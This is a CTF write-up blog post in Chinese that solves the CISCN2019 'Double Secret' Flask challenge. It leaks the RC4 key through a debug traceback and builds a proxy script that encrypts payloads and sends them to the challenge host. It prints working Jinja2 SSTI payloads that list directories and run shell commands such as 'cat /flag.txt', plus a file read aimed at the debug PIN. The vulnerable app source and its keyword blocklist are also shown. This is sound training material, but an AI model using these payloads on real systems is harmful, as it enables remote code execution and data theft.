CISCN2019 华东南赛区 Double Secret

CISCN2019 华东南赛区 Double Secret

周一 4月 28 2025
1002 字 · 9 分钟

[CISCN2019 华东南赛区]Double Secret

看完直接信息搜集

出了一个secret,直接访问,提示传一个secret,对面会编码它

PYTHON

/secret?secret=1                        d
/secret?secret=14aw                     d[XB
/secret?secret=12345                    报错了,python的debug

这个debug就很有可玩的点了,计算pin码,源码泄露

可以看到的信息有

展开/app/app.py这个源码

PYTHON
File "/app/app.py", line 35, in secret
    if(secret==None):
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    rc=rc4_Modified.RC4("HereIsTreasure")   #解密
    deS=rc.do_crypt(secret)
    a=render_template_string(safe(deS))
    if 'ciscn' in a.lower():
        return 'flag detected!'
      return a

一个rc4加密,如果secret为空就返回Tell me your secret.I will encrypt it so others can\'t see不为空就调用safe处理rc4编码后的值,返回字符串给a,如果a的小写包含ciscn则返回flag被删了,其余返回a,这里把rce的密钥也暴露出来了

PYTHON
jinjia的payload
#展示路径下的文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}

#读取文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}

{{cycler.next.__globals__.__builtins__.__import__('os').popen('nl /*').read()}}

锤锤AI拿个RC4加密脚本,我们知道,要将payload加密以后才能传参过去。

PYTHON
def initialize_rc4_key(key):
    key_length = len(key)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % key_length]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def rc4_encrypt(key, plaintext):
    S = initialize_rc4_key(key)
    i = j = 0
    ciphertext = []
    for char in plaintext:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        ciphertext.append(chr(ord(char) ^ k))
    return ''.join(ciphertext)

def main():
    key = input("请输入密钥: ")
    plaintext = input("请输入要加密的字符串: ")
    encrypted_text = rc4_encrypt(key, plaintext)
    print("加密后的字符串: ", encrypted_text)

if __name__ == "__main__":
    main()

ok,接下来我们玩点骚的,继续锤AI,在本地flask起一个,POST交data,rc4加密后发给题目的url,将题目url回显到本地。

PYTHON
from flask import Flask, request, jsonify
import urllib.parse
import requests

app = Flask(__name__)

# RC4加密算法
def rc4_encrypt(key, data):
    S = list(range(256))
    j = 0
    out = []
    # 初始化S盒
    for i in range(256):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]
    # 生成密钥流并加密
    i = j = 0
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))
    return ''.join(out)

@app.route('/', methods=['POST', 'GET'])
def handle_request():
    if request.method == 'POST':
        # 获取POST请求中的数据
        data = request.form.get('data')
        if data:
            # 使用RC4加密数据
            encrypted_data = rc4_encrypt('HereIsTreasure', data)
            # 构造GET请求的URL
            url = f'http://8bac6987-76e0-4569-8a95-5e53c13fb530.node5.buuoj.cn:81/secret?secret={urllib.parse.quote(encrypted_data)}'
            # 发送GET请求
            response = requests.get(url)
            # 返回GET请求的响应内容
            return response.text, response.status_code
        else:
            return jsonify({'status': 'error', 'message': 'No data provided'}), 400
    elif request.method == 'GET':
        # 获取GET请求中的secret参数
        secret = request.args.get('secret')
        if secret:
            # 处理GET请求(根据实际情况添加处理逻辑)
            # 这里我们只是返回接收到的secret
            return f'Received secret: {secret}', 200
        else:
            return 'No secret provided', 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

之后就是常见的SSTI了,直接上fenjing梭哈就完了,查看app.py的时候发现报错了,应该是python2的原因,也可以用反弹shell,计算pin码

PYTHON
data={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
92:ab:45:07:68:11
PYTHON
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#This .py gives flask ssti loophole
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
import rc4_Modified

app=Flask(__name__)

@app.route('/')
def hello():
    return 'Welcome To Find Secret'

@app.route('/robots.txt')
def robots():
    return 'It is Android ctf'

@app.route('/secret',methods=['GET','POST'])
def secret():
    def safe(s):
        black=['class','mro','subclasses','read','args','form','write', 'mro',  '<', '>', '|', 'join' 'os', 'sys', 'pop', 'del', 'rm', 'eval', 'exec', 'ls', 'cat', ';', '&&', 'catch_warnings', 'func_globals', 'pickle', 'import', 'subprocess', 'commands', 'input', 'execfile', 'reload', 'compile', 'execfile', 'kill', 'func_code' ]
        for i in black:
            if i in s:
                return '\''+i+'\' is not allowed. Secret is '+s
        return s
    secret=request.args.get('secret')
    if(secret==None):
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    rc=rc4_Modified.RC4("HereIsTreasure")   #解密
    deS=rc.do_crypt(secret)

    a=render_template_string(safe(deS))

    if 'ciscn' in a.lower():
        return 'flag detected!'
    return a

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )
PYTHON
# -*- coding: utf-8 -*-
class RC4:
    def __init__(self,public_key = None):
        if not public_key:
            public_key = 'none_public_key'
        self.public_key = public_key
        self.index_i = 0
        self.index_j = 0
        self._init_box()

    def _init_box(self):
        """
        初始化 置换盒
        """
        self.Box = [i for i in range(256)]
        key_length = len(self.public_key)
        j = 0
        for i in range(256):
            index = ord(self.public_key[(i % key_length)])
            j = (j + self.Box[i] + index ) % 256
            self.Box[i],self.Box[j] = self.Box[j],self.Box[i]
        # for i in range(256):

    def do_crypt(self,string):
        """
        加密/解密
        string : 待加/解密的字符串
        """

        out = []
        test=[]
        #print(len(string))
        for s in string:
            self.index_i = (self.index_i + 1) % 256
            self.index_j = (self.index_j + self.Box[self.index_i]) % 256
            self.Box[self.index_i], self.Box[self.index_j] = self.Box[self.index_j],  self.Box[self.index_i]

            r = (self.Box[self.index_i] + self.Box[self.index_j]) % 256
            R = self.Box[r] # 生成伪随机数
            tmp=ord(s)^R
            test.append(tmp)
            out.append(chr(tmp))
        #print(test)
        #print(len(test))
        return ''.join(out)

Thanks for reading!

CISCN2019 华东南赛区 Double Secret

周一 4月 28 2025
1002 字 · 9 分钟